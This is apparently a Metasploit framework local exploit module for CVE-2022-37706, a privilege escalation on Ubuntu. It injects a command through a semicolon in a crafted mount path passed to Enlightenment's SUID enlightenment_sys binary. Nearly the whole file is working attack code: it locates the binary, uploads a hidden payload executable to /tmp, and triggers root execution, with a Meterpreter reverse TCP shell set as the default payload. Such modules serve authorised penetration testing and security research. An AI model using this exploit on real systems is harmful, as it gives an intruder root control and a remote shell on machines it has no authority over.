##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ubuntu Enlightenment Mount Priv Esc',
        'Description' => %q{
          This module exploits a command injection within Enlightenment's
          enlightenment_sys binary. This is done by calling the mount
          command and feeding it paths which meet all of the system
          requirements, but execute a specific path as well due to a
          semi-colon being used.
          This module was tested on Ubuntu 22.04.1 X64 Desktop with
          enlightenment 0.25.3-1 (current at module write time)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Maher Azzouzi' # discovery, poc
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ],
          [ 'URL', 'https://twitter.com/maherazz2/status/1569665311707734023' ],
          [ 'CVE', '2022-37706' ]
        ],
        'DisclosureDate' => '2022-09-13',
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true, # so we can exploit multiple times
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def find_enlightenment_sys
    enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys'
    if file_exist?(enlightenment_sys)
      vprint_good("Found binary: #{enlightenment_sys}")
      if setuid?(enlightenment_sys)
        vprint_good("It's set for SUID")
        # at this time there doesn't seem to be any other way to check if it'll be exploitable
        # like a version number as a patch hasn't been released yet
        return enlightenment_sys
      else
        return nil
      end
    else
      vprint_status('Manually searching for exploitable binary')
      # https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
      binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')

      if binary.blank?
        vprint_bad('Unable to locate enlightenment_sys')
        return nil
      end
      vprint_good("Found SUID binary: #{enlightenment_sys}")
      return binary
    end
  end

  def check
    enlightenment_sys = find_enlightenment_sys
    return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil?

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    print_status('Finding enlightenment_sys')
    enlightenment_sys = find_enlightenment_sys
    if enlightenment_sys.nil?
      fail_with Failure::NotFound, "#{base_dir} is not writable"
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    dev_path = "/dev/../tmp/;#{payload_path}"
    register_files_for_cleanup(payload_path)

    print_status('Creating folders for exploit')
    cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net')
    cmd_exec("mkdir -p \"#{dev_path}\"")
    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
    # output from the exploit being run, they can optionally see it
    enlightenment_sys = find_enlightenment_sys
    print_status 'Launching exploit...'
    cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, datastore['WfsDelay'])
  end
end
